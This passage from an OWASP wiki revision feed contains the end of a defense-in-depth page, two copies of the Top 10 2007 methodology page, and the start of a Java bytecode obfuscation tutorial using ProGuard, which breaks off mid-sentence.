&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Vulnerable Administrative Interface===&lt;br /&gt;
:A failed authentication control to the [[Administrative Interface]] is unlikely to be enable to anonymous attack on the system as a whole if it correctly gates access to production management networks, checks for administrative user authorization, and logs all access. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
The Principle of Defense-in-Depth does not relate to a particular control or subset of controls. It is a design principle to guide the selection of controls for an application to ensure its resilience against different forms of attack, and to reduce the probability of a single-point of failure in the security of the system.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://www.nsa.gov/ia/_files/support/defenseindepth.pdf National Security Agency Defense In Depth Guide]&lt;br /&gt;
* [[CLASP Security Principles]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Principle]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10_2007-Methodology-Finnish&amp;diff=151415</id>
		<title>Top 10 2007-Methodology-Finnish</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10_2007-Methodology-Finnish&amp;diff=151415"/>
				<updated>2013-05-12T17:53:27Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: Biases&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Cross Site Scripting-Finnish|useprev=PrevLink|prev=|usemain=MainLink|main=_Finnish}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Our methodology for the Top 10 2007 was simple: take the [http://cwe.mitre.org/documents/vuln-trends.html MITRE Vulnerability Trends for 2006], and distill the Top 10 ''web application security ''issues. The ranked results are as follows:&lt;br /&gt;
&lt;br /&gt;
'''[[Image:Top_10_2007-MitreDataChart.gif|thumb|650px|center|&amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;(Click chart to view full-size version)&amp;lt;/div&amp;gt;]]'''&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;center&amp;gt;Figure 2: MITRE data on Top 10 web application vulnerabilities for 2006&amp;lt;/center&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Although we tried to preserve a one to one mapping of MITRE raw vulnerability data to our section headings, we have deliberately changed some of the later categories to more closely map to root causes. If you are interested in the final 2006 data from MITRE, we have included an Excel worksheet on the OWASP Top 10 web site.&lt;br /&gt;
&lt;br /&gt;
All of the protection recommendations provide solutions for the three most prevalent web application frameworks: Java EE, ASP.NET, and PHP. Other common web application frameworks, such as Ruby on Rails or Perl can easily adapt the recommendations to suit their specific needs.&lt;br /&gt;
&lt;br /&gt;
== Why we have dropped some important issues ==&lt;br /&gt;
&lt;br /&gt;
'''Unvalidated input''' is a major challenge for any development team, and is at the root of many application security problems. In fact, many of the other items in the list recommend validating input as a part of the solution. We still strongly recommend creating a centralized input validation mechanism as a part of your web applications. For more information, read the following data validation articles at OWASP:&lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Data_Validation http://www.owasp.org/index.php/Data_Validation]&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_for_Data_Validation http://www.owasp.org/index.php/Testing_for_Data_Validation]&lt;br /&gt;
'''Buffer overflows, integer overflows and format string issues''' are extremely serious vulnerabilities for programs written in languages such as C or C++. Remediation for these issues is covered by the traditional non-web application security community, such as SANS, CERT, and programming language tool vendors. If your code is written in a language that is likely to suffer buffer overflows, we encourage you to read the buffer overflow content on OWASP:&lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Buffer_overflow http://www.owasp.org/index.php/Buffer_overflow] &lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_for_Buffer_Overflow http://www.owasp.org/index.php/Testing_for_Buffer_Overflow] &lt;br /&gt;
'''Denial of service''' is a serious attack that can affect any site written in any language. The ranking of DoS by MITRE is insufficient to make the Top 10 this year. If you have concerns about denial of service, you should consult the OWASP site and Testing Guide:&lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Category:Denial_of_Service_Attack http://www.owasp.org/index.php/Category:Denial_of_Service_Attack] &lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_for_Denial_of_Service http://www.owasp.org/index.php/Testing_for_Denial_of_Service] &lt;br /&gt;
'''Insecure configuration management''' affects all systems to some extent, particularly PHP. However, the ranking by MITRE does not allow us to include this issue this year. When deploying your application, you should consult the latest OWASP Development Guide and the OWASP Testing Guide for detailed information regarding secure configuration management and testing:&lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Configuration http://www.owasp.org/index.php/Configuration]&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management]&lt;br /&gt;
&lt;br /&gt;
== Why we have ADDED some important issues ==&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery (CSRF) '''is the major new addition to this edition of the OWASP Top 10. Although raw data ranks it at #36, we believe that it is important enough that applications should start protection efforts today, particularly for high value applications and applications which deal with sensitive data. CSRF is more prevalent than its current ranking would indicate, and it can be highly dangerous.&lt;br /&gt;
&lt;br /&gt;
'''Cryptography'''  The insecure uses of cryptography are not the #8 and #9 web application security issues according to the raw MITRE data, but they do represent a root cause of many privacy leaks and compliance issues (particularly with PCI DSS 1.1 compliance).&lt;br /&gt;
&lt;br /&gt;
== Vulnerabilities, not attacks ==&lt;br /&gt;
&lt;br /&gt;
The previous edition of the Top 10 contained a mixture of attacks, vulnerabilities and countermeasures. This time around, we have focused solely on vulnerabilities, although commonly used terminology sometimes combines vulnerabilities and attacks. If organizations use this document to secure their applications, and reduce the risks to their business, it will lead to a direct reduction in the likelihood of:&lt;br /&gt;
&lt;br /&gt;
*'''Phishing attacks''' that can exploit any of these vulnerabilities, particularly XSS, and weak or non-existent authentication or authorization checks ([[Top 10 2007-A1|A1]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])&lt;br /&gt;
*'''Privacy violations''' from poor validation, business rule and weak authorization checks ([[Top 10 2007-A2|A2]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A6|A6]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])&lt;br /&gt;
*'''Identity theft''' through poor or non-existent cryptographic controls ([[Top 10 2007-A8|A8]] and [[Top 10 2007-A9|A9]]), remote file include ([[Top 10 2007-A3|A3]]) and authentication, business rule, and authorization checks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])&lt;br /&gt;
*'''Systems compromise, data alteration, or data''' destruction attacks via Injections ([[Top 10 2007-A2|A2]]) and remote file include ([[Top 10 2007-A3|A3]]) &lt;br /&gt;
*'''Financial loss''' through unauthorized transactions and CSRF attacks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A5|A5]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])&lt;br /&gt;
*'''Reputation loss''' through exploitation of any of the above vulnerabilities ([[Top 10 2007-A1|A1]] - [[Top 10 2007-A10|A10]])&lt;br /&gt;
Once an organization moves away from worrying about reactive controls, and moves forward to proactively reducing risks applicable to their business, they will improve compliance with regulatory regimes, reduce operational costs, and hopefully will have far more robust and secure systems as a result. &lt;br /&gt;
&lt;br /&gt;
== Biases ==&lt;br /&gt;
The methodology described above necessarily biases the Top 10 towards discoveries by the security researcher community. This pattern of discovery is similar to the methods of [http://www.zone-h.org/archive actual attack], particularly as it relates to entry-level (&amp;quot;script kiddie&amp;quot;) attackers. Protecting your software against the Top 10 will provide a modicum of protection against the most common forms of attack, but far more importantly, help set a course for improving the security of your software.&lt;br /&gt;
&lt;br /&gt;
== Mapping ==&lt;br /&gt;
&lt;br /&gt;
There have been changes to the headings, even where content maps closely to previous content. We no longer use the WAS XML naming scheme as it has not kept up to date with modern vulnerabilities, attacks, and countermeasures. The table below depicts how this edition maps to the Top 10 2004, and the raw MITRE ranking:&lt;br /&gt;
&lt;br /&gt;
{| border='1' cellpadding='2' &lt;br /&gt;
!style='background:#FFFF99'|'''&amp;lt;center&amp;gt;OWASP Top 10 2007&amp;lt;/center&amp;gt;''' &lt;br /&gt;
!style='background:#FFFF99'|'''&amp;lt;center&amp;gt;OWASP Top 10 2004&amp;lt;/center&amp;gt;'''&lt;br /&gt;
!style='background:#FFFF99'|'''&amp;lt;center&amp;gt;MITRE 2006 Raw Ranking&amp;lt;/center&amp;gt;''' &lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A1|A1 - Cross Site Scripting (XSS)]]''' &lt;br /&gt;
|'''A4 - Cross Site Scripting (XSS)''' &lt;br /&gt;
|'''1'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A2|A2 - Injection Flaws]]''' &lt;br /&gt;
|'''A6 - Injection Flaws''' &lt;br /&gt;
|'''2'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A3|A3 - Malicious File Execution (NEW)]]''' &lt;br /&gt;
| &lt;br /&gt;
|'''3'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A4|A4 - Insecure Direct Object Reference]]''' &lt;br /&gt;
|'''A2 - Broken Access Control (split in 2007 T10)''' &lt;br /&gt;
|'''5'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A5|A5 - Cross Site Request Forgery (CSRF) (NEW)]]''' &lt;br /&gt;
| &lt;br /&gt;
|'''36'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A6|A6 - Information Leakage and Improper Error Handling]]''' &lt;br /&gt;
|'''A7 - Improper Error Handling''' &lt;br /&gt;
|'''6'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A7|A7 - Broken Authentication and Session Management]]''' &lt;br /&gt;
|'''A3 - Broken Authentication and Session Management ''' &lt;br /&gt;
|'''14'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A8|A8 - Insecure Cryptographic Storage]]''' &lt;br /&gt;
|'''A8 - Insecure Storage''' &lt;br /&gt;
|'''8'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A9|A9 - Insecure Communications (NEW)]]''' &lt;br /&gt;
|'''Discussed under A10 - Insecure Configuration Management''' &lt;br /&gt;
|'''8'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A10|A10 - Failure to Restrict URL Access]]''' &lt;br /&gt;
|'''A2 - Broken Access Control (split in 2007 T10)''' &lt;br /&gt;
|'''14'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''&amp;amp;lt;removed in 2007&amp;amp;gt;''' &lt;br /&gt;
|'''A1 - Unvalidated Input''' &lt;br /&gt;
|'''7'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''&amp;amp;lt;removed in 2007&amp;amp;gt;''' &lt;br /&gt;
|'''A5 - Buffer Overflows''' &lt;br /&gt;
|'''4, 8, and 10'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''&amp;amp;lt;removed in 2007&amp;amp;gt;''' &lt;br /&gt;
|'''A9 - Denial of Service''' &lt;br /&gt;
|'''17'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''&amp;amp;lt;removed in 2007&amp;amp;gt;''' &lt;br /&gt;
|'''A10 - Insecure Configuration Management''' &lt;br /&gt;
|'''29'''&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Cross Site Scripting-Finnish|useprev=PrevLink|prev=|usemain=MainLink|main=_Finnish}}&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10_2007-Methodology&amp;diff=151414</id>
		<title>Top 10 2007-Methodology</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10_2007-Methodology&amp;diff=151414"/>
				<updated>2013-05-12T17:53:02Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: Biases&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2007:TopTemplate|usenext=NextLink|next=-Cross Site Scripting|useprev=PrevLink|prev=|usemain=MainLink|main=}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Our methodology for the Top 10 2007 was simple: take the [http://cwe.mitre.org/documents/vuln-trends.html MITRE Vulnerability Trends for 2006], and distill the Top 10 ''web application security ''issues. The ranked results are as follows:&lt;br /&gt;
&lt;br /&gt;
'''[[Image:Top_10_2007-MitreDataChart.gif|thumb|650px|center|&amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;(Click chart to view full-size version)&amp;lt;/div&amp;gt;]]'''&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;center&amp;gt;Figure 2: MITRE data on Top 10 web application vulnerabilities for 2006&amp;lt;/center&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Although we tried to preserve a one to one mapping of MITRE raw vulnerability data to our section headings, we have deliberately changed some of the later categories to more closely map to root causes. If you are interested in the final 2006 data from MITRE, we have included an Excel worksheet on the OWASP Top 10 web site.&lt;br /&gt;
&lt;br /&gt;
All of the protection recommendations provide solutions for the three most prevalent web application frameworks: Java EE, ASP.NET, and PHP. Other common web application frameworks, such as Ruby on Rails or Perl can easily adapt the recommendations to suit their specific needs.&lt;br /&gt;
&lt;br /&gt;
== Why we have dropped some important issues ==&lt;br /&gt;
&lt;br /&gt;
'''Unvalidated input''' is a major challenge for any development team, and is at the root of many application security problems. In fact, many of the other items in the list recommend validating input as a part of the solution. We still strongly recommend creating a centralized input validation mechanism as a part of your web applications. For more information, read the following data validation articles at OWASP:&lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Data_Validation http://www.owasp.org/index.php/Data_Validation]&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_for_Data_Validation http://www.owasp.org/index.php/Testing_for_Data_Validation]&lt;br /&gt;
'''Buffer overflows, integer overflows and format string issues''' are extremely serious vulnerabilities for programs written in languages such as C or C++. Remediation for these issues is covered by the traditional non-web application security community, such as SANS, CERT, and programming language tool vendors. If your code is written in a language that is likely to suffer buffer overflows, we encourage you to read the buffer overflow content on OWASP:&lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Buffer_overflow http://www.owasp.org/index.php/Buffer_overflow] &lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_for_Buffer_Overflow http://www.owasp.org/index.php/Testing_for_Buffer_Overflow] &lt;br /&gt;
'''Denial of service''' is a serious attack that can affect any site written in any language. The ranking of DoS by MITRE is insufficient to make the Top 10 this year. If you have concerns about denial of service, you should consult the OWASP site and Testing Guide:&lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Category:Denial_of_Service_Attack http://www.owasp.org/index.php/Category:Denial_of_Service_Attack] &lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_for_Denial_of_Service http://www.owasp.org/index.php/Testing_for_Denial_of_Service] &lt;br /&gt;
'''Insecure configuration management''' affects all systems to some extent, particularly PHP. However, the ranking by MITRE does not allow us to include this issue this year. When deploying your application, you should consult the latest OWASP Development Guide and the OWASP Testing Guide for detailed information regarding secure configuration management and testing:&lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Configuration http://www.owasp.org/index.php/Configuration]&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management http://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management]&lt;br /&gt;
&lt;br /&gt;
== Why we have ADDED some important issues ==&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery (CSRF) '''is the major new addition to this edition of the OWASP Top 10. Although raw data ranks it at #36, we believe that it is important enough that applications should start protection efforts today, particularly for high value applications and applications which deal with sensitive data. CSRF is more prevalent than its current ranking would indicate, and it can be highly dangerous.&lt;br /&gt;
&lt;br /&gt;
'''Cryptography'''  The insecure uses of cryptography are not the #8 and #9 web application security issues according to the raw MITRE data, but they do represent a root cause of many privacy leaks and compliance issues (particularly with PCI DSS 1.1 compliance).&lt;br /&gt;
&lt;br /&gt;
== Vulnerabilities, not attacks ==&lt;br /&gt;
&lt;br /&gt;
The previous edition of the Top 10 contained a mixture of attacks, vulnerabilities and countermeasures. This time around, we have focused solely on vulnerabilities, although commonly used terminology sometimes combines vulnerabilities and attacks. If organizations use this document to secure their applications, and reduce the risks to their business, it will lead to a direct reduction in the likelihood of:&lt;br /&gt;
&lt;br /&gt;
*'''Phishing attacks''' that can exploit any of these vulnerabilities, particularly XSS, and weak or non-existent authentication or authorization checks ([[Top 10 2007-A1|A1]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])&lt;br /&gt;
*'''Privacy violations''' from poor validation, business rule and weak authorization checks ([[Top 10 2007-A2|A2]], [[Top 10 2007-A4|A4]], [[Top 10 2007-A6|A6]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])&lt;br /&gt;
*'''Identity theft''' through poor or non-existent cryptographic controls ([[Top 10 2007-A8|A8]] and [[Top 10 2007-A9|A9]]), remote file include ([[Top 10 2007-A3|A3]]) and authentication, business rule, and authorization checks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])&lt;br /&gt;
*'''Systems compromise, data alteration, or data''' destruction attacks via Injections ([[Top 10 2007-A2|A2]]) and remote file include ([[Top 10 2007-A3|A3]]) &lt;br /&gt;
*'''Financial loss''' through unauthorized transactions and CSRF attacks ([[Top 10 2007-A4|A4]], [[Top 10 2007-A5|A5]], [[Top 10 2007-A7|A7]], [[Top 10 2007-A10|A10]])&lt;br /&gt;
*'''Reputation loss''' through exploitation of any of the above vulnerabilities ([[Top 10 2007-A1|A1]] - [[Top 10 2007-A10|A10]])&lt;br /&gt;
Once an organization moves away from worrying about reactive controls, and moves forward to proactively reducing risks applicable to their business, they will improve compliance with regulatory regimes, reduce operational costs, and hopefully will have far more robust and secure systems as a result. &lt;br /&gt;
&lt;br /&gt;
== Biases ==&lt;br /&gt;
The methodology described above necessarily biases the Top 10 towards discoveries by the security researcher community. This pattern of discovery is similar to the methods of [http://www.zone-h.org/archive actual attack], particularly as it relates to entry-level (&amp;quot;script kiddie&amp;quot;) attackers. Protecting your software against the Top 10 will provide a modicum of protection against the most common forms of attack, but far more importantly, help set a course for improving the security of your software.&lt;br /&gt;
&lt;br /&gt;
== Mapping ==&lt;br /&gt;
&lt;br /&gt;
There have been changes to the headings, even where content maps closely to previous content. We no longer use the WAS XML naming scheme as it has not kept up to date with modern vulnerabilities, attacks, and countermeasures. The table below depicts how this edition maps to the Top 10 2004, and the raw MITRE ranking:&lt;br /&gt;
&lt;br /&gt;
{| border='1' cellpadding='2' &lt;br /&gt;
!style='background:#FFFF99'|'''&amp;lt;center&amp;gt;OWASP Top 10 2007&amp;lt;/center&amp;gt;''' &lt;br /&gt;
!style='background:#FFFF99'|'''&amp;lt;center&amp;gt;OWASP Top 10 2004&amp;lt;/center&amp;gt;'''&lt;br /&gt;
!style='background:#FFFF99'|'''&amp;lt;center&amp;gt;MITRE 2006 Raw Ranking&amp;lt;/center&amp;gt;''' &lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A1|A1 - Cross Site Scripting (XSS)]]''' &lt;br /&gt;
|'''A4 - Cross Site Scripting (XSS)''' &lt;br /&gt;
|'''1'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A2|A2 - Injection Flaws]]''' &lt;br /&gt;
|'''A6 - Injection Flaws''' &lt;br /&gt;
|'''2'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A3|A3 - Malicious File Execution (NEW)]]''' &lt;br /&gt;
| &lt;br /&gt;
|'''3'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A4|A4 - Insecure Direct Object Reference]]''' &lt;br /&gt;
|'''A2 - Broken Access Control (split in 2007 T10)''' &lt;br /&gt;
|'''5'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A5|A5 - Cross Site Request Forgery (CSRF) (NEW)]]''' &lt;br /&gt;
| &lt;br /&gt;
|'''36'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A6|A6 - Information Leakage and Improper Error Handling]]''' &lt;br /&gt;
|'''A7 - Improper Error Handling''' &lt;br /&gt;
|'''6'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A7|A7 - Broken Authentication and Session Management]]''' &lt;br /&gt;
|'''A3 - Broken Authentication and Session Management ''' &lt;br /&gt;
|'''14'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A8|A8 - Insecure Cryptographic Storage]]''' &lt;br /&gt;
|'''A8 - Insecure Storage''' &lt;br /&gt;
|'''8'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A9|A9 - Insecure Communications (NEW)]]''' &lt;br /&gt;
|'''Discussed under A10 - Insecure Configuration Management''' &lt;br /&gt;
|'''8'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''[[Top 10 2007-A10|A10 - Failure to Restrict URL Access]]''' &lt;br /&gt;
|'''A2 - Broken Access Control (split in 2007 T10)''' &lt;br /&gt;
|'''14'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''&amp;amp;lt;removed in 2007&amp;amp;gt;''' &lt;br /&gt;
|'''A1 - Unvalidated Input''' &lt;br /&gt;
|'''7'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''&amp;amp;lt;removed in 2007&amp;amp;gt;''' &lt;br /&gt;
|'''A5 - Buffer Overflows''' &lt;br /&gt;
|'''4, 8, and 10'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''&amp;amp;lt;removed in 2007&amp;amp;gt;''' &lt;br /&gt;
|'''A9 - Denial of Service''' &lt;br /&gt;
|'''17'''&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|'''&amp;amp;lt;removed in 2007&amp;amp;gt;''' &lt;br /&gt;
|'''A10 - Insecure Configuration Management''' &lt;br /&gt;
|'''29'''&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Cross Site Scripting|useprev=PrevLink|prev=|usemain=MainLink|main=}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Bytecode_obfuscation&amp;diff=151412</id>
		<title>Bytecode obfuscation</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Bytecode_obfuscation&amp;diff=151412"/>
				<updated>2013-05-12T17:46:02Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: Links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Released: 14/1/2008&lt;br /&gt;
==Author==&lt;br /&gt;
Pierre Parrend&lt;br /&gt;
&lt;br /&gt;
== Principles ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Java is a language where the source code is quite intuitive to read. And in many cases, the compiled bytecode can also be reversed (or decompiled) into source code.  This presents problems for projects that require confidentiality of the source code.  This article provides an introduction to protecting bytecode through obfuscation.&lt;br /&gt;
&lt;br /&gt;
=== How to recover Source Code from Bytecode? ===&lt;br /&gt;
&lt;br /&gt;
There are a number of freely available Java decompilers that all provide similar functionality, including:&lt;br /&gt;
&lt;br /&gt;
* Recover source code from Java bytecode,&lt;br /&gt;
* Retrieve names of local Variables and parameters,&lt;br /&gt;
* Retrieve comments and JavaDoc&lt;br /&gt;
&lt;br /&gt;
Popular decompilers include:&lt;br /&gt;
* [http://www.kpdus.com/jad.html JAD (JAva Decompiler)] - a little dated now and does not support Java 5.0 &lt;br /&gt;
* [http://jode.sourceforge.net Jode] - Written entirely in Java and provides a Swing GUI&lt;br /&gt;
* [http://jreversepro.blogspot.com/ jReversePro] - 100% Java, also slightly dated&lt;br /&gt;
&lt;br /&gt;
=== How to prevent Java code from being Reverse-engineered ? ===&lt;br /&gt;
&lt;br /&gt;
Several actions can be taken for preventing reverse-engineering :&lt;br /&gt;
&lt;br /&gt;
* Code Obfuscation. This is done mainly through variable renaming; see next paragraph for more precisions,&lt;br /&gt;
* Suppression of End Of Line Characters. This makes the code difficult to parse,&lt;br /&gt;
* Use of anonymous classes for handling events. This seems not to be handled by many Decompiler; however, JAD copes pretty well with this.&lt;br /&gt;
* Class file encryption. This implies some overhead for uncyphering at runtime. Several tools are available:: [http://www.cinnabarsystems.com/canner.html Canner], by Cinnabar Systems, or  [http://www.jbitsoftware.com/JBit/do/displayPage?targetPageId=products.jlockinfo JLock by JSoft]. They are available for evaluation, and the first is proposed currently for Windows Platforms only.&lt;br /&gt;
* Replacing the method names with certain characters e.g '/' or '.' in the class header causes the popular decompilation tools such as JAD to dump the source code which is incomprehensible (you cannot determine the control flow from the source).&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt; Beware of 100% Java solutions using encryption to protect class files as these are more than likely snake oil.  Since the JVM has to read unencrypted class files at some point, even if the class files are encrypted on the disk, they will have to be decrypted before being passed to the JVM.  An attacker could modify the local JVM to simply write the class files to disk in their unencrypted form at this point.  (See: [http://www.javaworld.com/javaworld/javaqa/2003-05/01-qa-0509-jcrypt.html?page=2 Javaworld article]).&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Conjecture:&amp;lt;/b&amp;gt; It's is very easy to circumvent these methods to reveal bytecode using a Java profiler.&lt;br /&gt;
&lt;br /&gt;
=== What obfuscation tools are available ? ===&lt;br /&gt;
&lt;br /&gt;
A lot of tools exist for Java code Obfuscation. You can find extensive lists under following URLs, or simply type 'obfuscator' in your favorite search engine :&lt;br /&gt;
&lt;br /&gt;
* http://directory.google.com/Top/Computers/Programming/Languages/Java/Development_Tools/Obfuscators/&lt;br /&gt;
* http://proguard.sourceforge.net/alternatives.html&lt;br /&gt;
&lt;br /&gt;
Among those projects, some are open source project, and therefore more suitable for research - but also for enterprises who wish to control the programs they use (without any warranty):&lt;br /&gt;
&lt;br /&gt;
* [http://www.zelix.com/klassmaster/ KlassMaster], shrinks and obfuscates both code and string constants. It can also translate stack traces back to readable form if you save the obfuscation log.&lt;br /&gt;
* [http://proguard.sourceforge.net/ Proguard] is a shrinker (make code more compact), and optimizer and obfuscator.&lt;br /&gt;
* [http://jode.sourceforge.net/ Jode] is a decompiler, an optimizer and an obfuscator. It contains facilities for cleaning logging statements,,&lt;br /&gt;
* [http://jarg.sourceforge.net/ Jarg],&lt;br /&gt;
* [http://sourceforge.net/projects/javaguard/ Javaguard], which is a simple obfuscator, without many documentation,&lt;br /&gt;
* [http://www.geocities.com/CapeCanaveral/Hall/2334/Programs/cafebabe.html CafeBabe], which allows precise view of Bytecode files and single file obfuscation; a good tool for teaching ByteCode Structure, more than a production tool. &lt;br /&gt;
&lt;br /&gt;
== Using Proguard ==&lt;br /&gt;
&lt;br /&gt;
The following section provides a short tutorial for using [http://proguard.sourceforge.net/ Proguard].&lt;br /&gt;
&lt;br /&gt;
First, download the code under [http://sourceforge.net/project/showfiles.php?group_id=54750 following url ] and unzip it.&lt;br /&gt;
&lt;br /&gt;
For this tutorial, we use the [http://www.rzo.free.fr/applis/fr.inria.ares.sfelixutils-0.1.jar fr.inria.ares.sfelixutils-0.1.jar package].&lt;br /&gt;
&lt;br /&gt;
Go to the main directory of Proguard. For lauching it, you can use following script with given parameters :&lt;br /&gt;
&lt;br /&gt;
       java -jar lib/proguard.jar @config-genericFrame.pro&lt;br /&gt;
&lt;br /&gt;
config-genericFrame.pro is the option file&lt;br /&gt;
(do not forget to adapt the libraryjars parameter to your own system) :&lt;br /&gt;
&lt;br /&gt;
 -obfuscationdictionary ./examples/dictionaries/compact.txt&lt;br /&gt;
 -libraryjars /usr/java/j2sdk1.4.2_10/jre/lib/rt.jar&lt;br /&gt;
 -injars fr.inria.ares.sfelixutils-0.1.jar&lt;br /&gt;
 -outjar fr.inria.ares.sfelixutils-0.1-obs.jar&lt;br /&gt;
 -dontshrink&lt;br /&gt;
 -dontoptimize&lt;br /&gt;
 -keep public class proguard.ProGuard {&lt;br /&gt;
 public static void main(java.lang.String[]);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Remark that the 'keep' option is mandatory, we use this default class for not keep anything out.&lt;br /&gt;
&lt;br /&gt;
The example dictionnary (here compact.txt) is given with the code.&lt;br /&gt;
&lt;br /&gt;
The output is stored in the package 'genericFrameOut.jar'.&lt;br /&gt;
&lt;br /&gt;
You can observe the modifications implied by obfuscation with following commands :&lt;br /&gt;
&lt;br /&gt;
